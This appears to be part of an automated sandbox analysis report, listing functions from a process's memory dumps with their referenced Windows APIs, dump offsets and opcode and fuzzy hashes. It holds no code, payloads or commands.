Opcode ID: 780e04b91765b46fc6f89fd7190f0563a2aaaa70a99d1fcf4713a8ceaaed8835
Instruction ID: d2c03cfd4e11cb58a3c52f691277b8cac44ce1e16cb15666bd1a297a45ae963f
Opcode Fuzzy Hash: 780e04b91765b46fc6f89fd7190f0563a2aaaa70a99d1fcf4713a8ceaaed8835
Instruction Fuzzy Hash: 32520874A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354CB349E86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00C46B80, Relevance: 2.1, APIs: 1, Instructions: 584libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8066a09f95230707aba32f3b90d43443db97f21f86f81b0073c291335332a2c1
Instruction ID: a473068b3bd66ee2ab22eb1fcd01e602b7659a023cf45d774ccd4e1d30df8f6a
Opcode Fuzzy Hash: 8066a09f95230707aba32f3b90d43443db97f21f86f81b0073c291335332a2c1
Instruction Fuzzy Hash: 69520874A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46BC7, Relevance: 2.1, APIs: 1, Instructions: 575libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8b6dadd49e7e79cff7ce0ea2408f77d5ede7fb4a73955e4f9f224e68d87689fd
Instruction ID: 41411ef99f6c9bfe319681e89ca81d105caff8a9d088becec619f1cd6a18fcc2
Opcode Fuzzy Hash: 8b6dadd49e7e79cff7ce0ea2408f77d5ede7fb4a73955e4f9f224e68d87689fd
Instruction Fuzzy Hash: B0520974A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46C05, Relevance: 2.1, APIs: 1, Instructions: 570libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: abfd1026044fb10b044dd2b80a6e301ef71b8217c899e80e5faae167ac80c973
Instruction ID: 04a82503f176a82cc9819bf7e0877352f230836b3528e7e06bbbb0055c0fc006
Opcode Fuzzy Hash: abfd1026044fb10b044dd2b80a6e301ef71b8217c899e80e5faae167ac80c973
Instruction Fuzzy Hash: 76421974A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46C4C, Relevance: 2.1, APIs: 1, Instructions: 563libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e46c3751e28c016dc523e887292ee428c410bcb903796a3caf2918d60ccf0d51
Instruction ID: 552bdb823e0c135afde138e39111202d0e6f284376b701cef5d9c2c8d5f34d2f
Opcode Fuzzy Hash: e46c3751e28c016dc523e887292ee428c410bcb903796a3caf2918d60ccf0d51
Instruction Fuzzy Hash: 61421874A08228CFDB64DF74C99869DB7B6BF48305F2085EAD50AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46C93, Relevance: 2.1, APIs: 1, Instructions: 556libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f3986a85d51a4e3c28a31a227f2f900b59495f5a084cf771e9e7d2e0604fcc9d
Instruction ID: 83cdabd09032e519df09cd95ce6f6b5bc61b5f3399ab0cc34bbc80be1d39b783
Opcode Fuzzy Hash: f3986a85d51a4e3c28a31a227f2f900b59495f5a084cf771e9e7d2e0604fcc9d
Instruction Fuzzy Hash: 2C421974A08228CFDB64DF74C99869DB7B6BF48305F2085EAD50AA3354DB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46CDA, Relevance: 2.0, APIs: 1, Instructions: 549libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 004be8697333bfca840f692dfd14d97597b6971254203acacafe5748957f8760
Instruction ID: ef4e2dd55b05908885d95b33aaa464b3e091d5ef2be1c118e97b4c33986cb6a0
Opcode Fuzzy Hash: 004be8697333bfca840f692dfd14d97597b6971254203acacafe5748957f8760
Instruction Fuzzy Hash: 70421974A08228CFDB64DF74C99869DB7B6BF48305F2085EAD50AA3354DB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46D21, Relevance: 2.0, APIs: 1, Instructions: 542libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: adfb2dbbfc5a41832c4e2e96c1bfb4a9ae28ada4f74c99b2ead5974546e51281
Instruction ID: 51f7c310825fa67c4c3ab3b80247bfe58a924637487469fe3278af21d162c30f
Opcode Fuzzy Hash: adfb2dbbfc5a41832c4e2e96c1bfb4a9ae28ada4f74c99b2ead5974546e51281
Instruction Fuzzy Hash: 47421974A08228CFDB64DF74C99869DB7B6BF48305F2185EAD50AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46D68, Relevance: 2.0, APIs: 1, Instructions: 535libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0d621c8daca139be133ccc4b41638e322be52ce7a78daeda825f1f86f43f77a7
Instruction ID: 12ed4fe1ee3e763fcea895b5722fd55bf40f41f33c83f2a94ccc95bb3c0cb9c0
Opcode Fuzzy Hash: 0d621c8daca139be133ccc4b41638e322be52ce7a78daeda825f1f86f43f77a7
Instruction Fuzzy Hash: 96422974A08228CFDB64DF74C99869DB7B6BF48305F2185EAD50AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46DAF, Relevance: 2.0, APIs: 1, Instructions: 528libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 83413ce7e1686df765afceb4155838fb737fc945e94f90f6a3c12fda22111883
Instruction ID: 6fd35950913572060a45e4ebb5510f82b36a54029e7541dd2c363742df516fa7
Opcode Fuzzy Hash: 83413ce7e1686df765afceb4155838fb737fc945e94f90f6a3c12fda22111883
Instruction Fuzzy Hash: 06422A74A08228CFDB64DF74C99869DB7B6BF48305F2185EAD50AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46DF6, Relevance: 2.0, APIs: 1, Instructions: 521libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cc19aedf3fbf98ebe238ddeae2851db43d35448ec5874cb4aa0c557a28451a80
Instruction ID: 1978c33c7f069b2eb14d548ce6361e14417437b0ec830679c697b360cfb330df
Opcode Fuzzy Hash: cc19aedf3fbf98ebe238ddeae2851db43d35448ec5874cb4aa0c557a28451a80
Instruction Fuzzy Hash: 99322A74A08228CFDB64DF74C99869DB7B6BF48305F2185EAD50AA3354CB348E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46E3D, Relevance: 2.0, APIs: 1, Instructions: 512libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 250fd0c96dce05eac247876740746e4bbe4209ef4a3246cdd483a5061492a96d
Instruction ID: 57c285bd41064df8f4ff387dcd9705ccf639802ff3d8e96215e3e72a61d80f6c
Opcode Fuzzy Hash: 250fd0c96dce05eac247876740746e4bbe4209ef4a3246cdd483a5061492a96d
Instruction Fuzzy Hash: 80322A74A08228CFDB64DF74C99869DB7B6BF48305F2185EAD50AA3354CB348E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46E7B, Relevance: 2.0, APIs: 1, Instructions: 505libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 53fe912bb08810c6a6fe22dfb8c5014d12344a02e21deaa4bf9e989997283fb4
Instruction ID: 0b7a11a7ccf8c71065123b8825ab80f5609f217f6b7474fb6dab202ab0e4ba13
Opcode Fuzzy Hash: 53fe912bb08810c6a6fe22dfb8c5014d12344a02e21deaa4bf9e989997283fb4
Instruction Fuzzy Hash: FB321A74A08228CFDB64DF74C99869DB7B6BF48305F2185EAD50AA3354DB348E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46EB9, Relevance: 2.0, APIs: 1, Instructions: 500libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0a8f3beb77585cdc6f1192841084707fb29db55152c606cb1981cfb16af05f1e
Instruction ID: 766c97e5b90fbc93da5ab698c677f217c188a3f4a28fc2347f43187bf6ba7b77
Opcode Fuzzy Hash: 0a8f3beb77585cdc6f1192841084707fb29db55152c606cb1981cfb16af05f1e
Instruction Fuzzy Hash: D7321A74A08228CFDB64DF74C99869DB7B6BF48305F2185E9D50AA3354DB348E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46F00, Relevance: 2.0, APIs: 1, Instructions: 491libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7288ab69b93e766cb572fafdc45e3cd30b946e674f7443c696b7a71f3def48df
Instruction ID: b35277e66d6bd7a3b3115ee16cc86e33bc34690cdd4b511b936878c043d9c86b
Opcode Fuzzy Hash: 7288ab69b93e766cb572fafdc45e3cd30b946e674f7443c696b7a71f3def48df
Instruction Fuzzy Hash: 4F321974A08228CFDB64DF74C99869DB7B6BF88305F2185E9D50AA3354DB348E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46F3E, Relevance: 2.0, APIs: 1, Instructions: 486libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b7079762dd867820c852bc9d35b2859f583ed5a0a2c6d5785e79d28a2c43bbad
Instruction ID: ee566a370dcc0dae777394ae206c28bee52bf78be82bfe930c2a53c802573050
Opcode Fuzzy Hash: b7079762dd867820c852bc9d35b2859f583ed5a0a2c6d5785e79d28a2c43bbad
Instruction Fuzzy Hash: D4321A74A08228CFDB64DF74C99869DB7B6BF88305F2185E9D50AA3354DB348E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46F85, Relevance: 2.0, APIs: 1, Instructions: 479libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5b88c703ebc0a0d58ad3ed14d0c626ee3c6d1ac6a0a9fd268f8469db8c77404a
Instruction ID: 71e22cc80efded3c0a231177464ddbd5da1a8a0c3a8edf5e9cee6b267f4b8b11
Opcode Fuzzy Hash: 5b88c703ebc0a0d58ad3ed14d0c626ee3c6d1ac6a0a9fd268f8469db8c77404a
Instruction Fuzzy Hash: DF221974A08228CFDB64DF74C99869DB7B6BB88305F2185E9D50AA3354DB348E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46FCC, Relevance: 2.0, APIs: 1, Instructions: 470libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a513ccdc9841bc0a22d6b7e5f4f2d98204d077ee9c037bcb5e8b77e167e7bd2c
Instruction ID: 17a8e50831acdfaaf80f19d29a8deef264a94170466132c5ea6552eb7bfbfc54
Opcode Fuzzy Hash: a513ccdc9841bc0a22d6b7e5f4f2d98204d077ee9c037bcb5e8b77e167e7bd2c
Instruction Fuzzy Hash: 1F221974A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3354DB349E86CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00C4700A, Relevance: 2.0, APIs: 1, Instructions: 465libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2ed881e0ec1f0a0d49025116b51c1724e5f0491b0cf2443600f09fc5019d7531
Instruction ID: ed7650f269f81c3dbf2a7e95c62f1cdac70760d0c46a9a1fbd6f98d819f6f32d
Opcode Fuzzy Hash: 2ed881e0ec1f0a0d49025116b51c1724e5f0491b0cf2443600f09fc5019d7531
Instruction Fuzzy Hash: CB221974A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3354DB348E86CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00C47051, Relevance: 2.0, APIs: 1, Instructions: 458libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a69536df512c3fa1d4eeabd5c84d799aceaf53feca2bea5e6123b0290e079dda
Instruction ID: a3d5101fbd91a2df5e812be1f7fbfce4ae98f0251286e643e26e76c2b740573f
Opcode Fuzzy Hash: a69536df512c3fa1d4eeabd5c84d799aceaf53feca2bea5e6123b0290e079dda
Instruction Fuzzy Hash: CC221A74A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3354DB348E86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00C47098, Relevance: 1.9, APIs: 1, Instructions: 449libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4730269890afabefb608fdcb7071ea9fb4f2d6a63fa2933718adf071f80e0500
Instruction ID: 4814392b0f1bbce63d1a819557ccef350a274beb4097cb51d5a44be89066fe47
Opcode Fuzzy Hash: 4730269890afabefb608fdcb7071ea9fb4f2d6a63fa2933718adf071f80e0500
Instruction Fuzzy Hash: 5F222A74A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3354DB348E86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00C470D6, Relevance: 1.9, APIs: 1, Instructions: 444libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4d9d56ae96db06ce676617f7b220a6cb885c1039b88aa4a73d94db40b7a4e16b
Instruction ID: a19ab6db85bbf32122ca7787f32d4b0b30292b0ad3a35b8d0f7d1704cb66ddfb
Opcode Fuzzy Hash: 4d9d56ae96db06ce676617f7b220a6cb885c1039b88aa4a73d94db40b7a4e16b
Instruction Fuzzy Hash: 98122A74A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3354DB348E86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00C4711D, Relevance: 1.9, APIs: 1, Instructions: 437libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: da64ab9c949d8427a648da2e2b46e0abfc2de7b745f09ba4f8e5cbe7d940e5d2
Instruction ID: aa1e32b6dd73fcca20e06db954e5a584ed6e5ed8c614b5a1a2b9b1bb25a7c6c0
Opcode Fuzzy Hash: da64ab9c949d8427a648da2e2b46e0abfc2de7b745f09ba4f8e5cbe7d940e5d2
Instruction Fuzzy Hash: 3D122AB4A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3354DB348E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00C47167, Relevance: 1.9, APIs: 1, Instructions: 430libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f0ec55a6044fd051e9f4bd20bb6ae3f2a18fae07b7583721b973835772032f2d
Instruction ID: 9bbb57b49e6b12d7b30f79385a9b14c3b92a6b36bac63789f9069716a223f81f
Opcode Fuzzy Hash: f0ec55a6044fd051e9f4bd20bb6ae3f2a18fae07b7583721b973835772032f2d
Instruction Fuzzy Hash: 6C122AB4A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3344DB348E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00C471B1, Relevance: 1.9, APIs: 1, Instructions: 423libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 43ff597bb865909b3751d8663ef029ae61ae3019e9320e0be5f90a4864537abd
Instruction ID: 2e48f52fc10de1097d58e837332fc3e34f8652d4e65c093974adf8995b381ba6
Opcode Fuzzy Hash: 43ff597bb865909b3751d8663ef029ae61ae3019e9320e0be5f90a4864537abd
Instruction Fuzzy Hash: DE123AB4A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3344DB348E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00C471FB, Relevance: 1.9, APIs: 1, Instructions: 416libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73f42b3dcbc60eed253e7fc565af14743f0f7a6d15784344e0c17542556db240
Instruction ID: 582c40c8b6ab37b4920ee02b71bfc198967d9fd92cd034944c7bcc1afe4db168
Opcode Fuzzy Hash: 73f42b3dcbc60eed253e7fc565af14743f0f7a6d15784344e0c17542556db240
Instruction Fuzzy Hash: F71239B4A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3344DB348E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00C47245, Relevance: 1.9, APIs: 1, Instructions: 409libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4515822d8c2116fbe7630b79a8d8c7a81f9684cd7bade81fd8989a5868768d0f
Instruction ID: 71a6245cdc1873f458e11e8e992cfe7da88ea094e83981f495c34545403fa266
Opcode Fuzzy Hash: 4515822d8c2116fbe7630b79a8d8c7a81f9684cd7bade81fd8989a5868768d0f
Instruction Fuzzy Hash: C20239B4A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3344DB348E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00C4728F, Relevance: 1.9, APIs: 1, Instructions: 402libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6dc97678c551f215f74e91ea76cfe90c74ebc0ef8fac90885c998392543477bf
Instruction ID: 0ee55c421247040871c39ea498a38e8fa093c6203515e28d843d5f36017fc7c7
Opcode Fuzzy Hash: 6dc97678c551f215f74e91ea76cfe90c74ebc0ef8fac90885c998392543477bf
Instruction Fuzzy Hash: D20238B4A08228CFDB64DF74C99879DB7B6BB88305F2185E9D50AA3344DB348E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00C472EF, Relevance: 1.9, APIs: 1, Instructions: 391libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b31271161811020996025f1aa8016346d2536bf3cde24662db71a967b761924f
Instruction ID: b48b200790fd3257c59569b54f0402f0a7598e025043fd03f1e5863b26700b89
Opcode Fuzzy Hash: b31271161811020996025f1aa8016346d2536bf3cde24662db71a967b761924f
Instruction Fuzzy Hash: 270249B4A08228CFDB64DF74C89879DB7B6BB88305F2185E9D50AA3344DB348E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00C47339, Relevance: 1.9, APIs: 1, Instructions: 384libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 846b680dcf3df501b2789b9525bad45b0ddfd3d834bc000b4e3407021142a67c
Instruction ID: 1effe37113ef1d5296fc50ade12b5e6a328ae3e27567b50c0a71818cf0bd2d5c
Opcode Fuzzy Hash: 846b680dcf3df501b2789b9525bad45b0ddfd3d834bc000b4e3407021142a67c
Instruction Fuzzy Hash: 1B0228B4A08228CFDB64DF74C99879DB7F6BB88305F2185A9D50AA3344DB348E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00C47383, Relevance: 1.9, APIs: 1, Instructions: 377libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fd8f468321096a20c627229e9e76fe143cc72f7859480060752029835bc97f62
Instruction ID: ecaf3ed7770e73f81619e84646fc4411d522a3c392e379079aa19ae587cb86cf
Opcode Fuzzy Hash: fd8f468321096a20c627229e9e76fe143cc72f7859480060752029835bc97f62
Instruction Fuzzy Hash: 74F117B4A082288FDB64DF74C99879DB7F6BB88305F2185A9D50AA3344DB348E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 1DBD53F0, Relevance: 1.8, APIs: 1, Instructions: 304COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1DBD57B6

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7a1775f5ed70042dc07da643adc068cc26b49ab23e021320648dae1a10902b59
Instruction ID: 3cfa6f6341a25435d1823eea17c0eac0b9afbcb493c2f178f27d9f248cea6141
Opcode Fuzzy Hash: 7a1775f5ed70042dc07da643adc068cc26b49ab23e021320648dae1a10902b59
Instruction Fuzzy Hash: 61C1BD74A08B459FDB44DF79C480A6EBBF1FF89208B05896EC506DB351DB38E801CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01025458, Relevance: 1.7, APIs: 1, Instructions: 180libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01025499

Memory Dump Source

Source File: 00000009.00000002.5634623417.0000000001020000.00000040.00000001.sdmp, Offset: 01020000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e6b1344befa3ecc7fdc62cc5a2bad7fd9c6a97230a3d0419bad5981056aeea6b
Instruction ID: 34c9c14c635e52e67cac6c1a247de6af3390408f982683520a9467fa6d92ee8e
Opcode Fuzzy Hash: e6b1344befa3ecc7fdc62cc5a2bad7fd9c6a97230a3d0419bad5981056aeea6b
Instruction Fuzzy Hash: 50615B34A10229DFDB24DFB8D9997AEBBF2BF48344F118429E543E7290DB389845CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1CC45540, Relevance: 1.6, APIs: 1, Instructions: 139registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 1CC45659

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 81bf5aeddf311fc5c61899ea5edb4d49f53d84bda7128fc52cc1015d0f77c11a
Instruction ID: 5c39549e8b2b4279aa73dc601db8631e5184a2fce4b972062f67c956d4996797
Opcode Fuzzy Hash: 81bf5aeddf311fc5c61899ea5edb4d49f53d84bda7128fc52cc1015d0f77c11a
Instruction Fuzzy Hash: F35152B1E013499FDB00CFA9C984A9EBBF5AF49314F25846AE808EB711D7359D05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1CC4A1A0, Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b72be7d5eff45a990c697879eb60c13d8a5f9128a893ac62f25b7dd9cce97e1
Instruction ID: d31ae4f1fdd0684e8ae8de715ce4fa62fe26c75cb57e577e15dc69c61b0564f2
Opcode Fuzzy Hash: 1b72be7d5eff45a990c697879eb60c13d8a5f9128a893ac62f25b7dd9cce97e1
Instruction Fuzzy Hash: F4413832E083558FCB10CFB9D8446DEBBF4AF89210F15856AD509E7241DB789944CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 1DBD67ED, Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1DBD690A

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f1cacb2eecf1ba4919e6307fe9e5b6e8c50a5c1dbfa88a329a1683df41b9b753
Instruction ID: b3b306fbd58ae9a44694e57fc660a7346dd2c561854a7e5cf4c707d6fc2eb833
